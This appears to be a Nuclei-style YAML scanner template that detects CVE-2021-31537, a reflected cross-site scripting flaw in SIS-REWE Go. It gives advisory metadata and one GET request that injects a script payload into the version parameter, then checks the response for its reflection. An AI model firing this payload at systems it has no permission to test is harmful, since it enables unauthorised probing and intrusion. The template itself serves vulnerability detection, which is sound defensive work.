id: CVE-2021-31537

info:
  name: SIS-REWE GO version 7.5.0/12C XSS
  author: geeknik
  description: SIS SIS-REWE Go before 7.7 SP17 allows XSS -- rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
  reference: https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
  severity: medium
  tags: cve,cve2021,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-31537
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>confirm({{randstr}})</script>"
          - "SIS-REWE"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"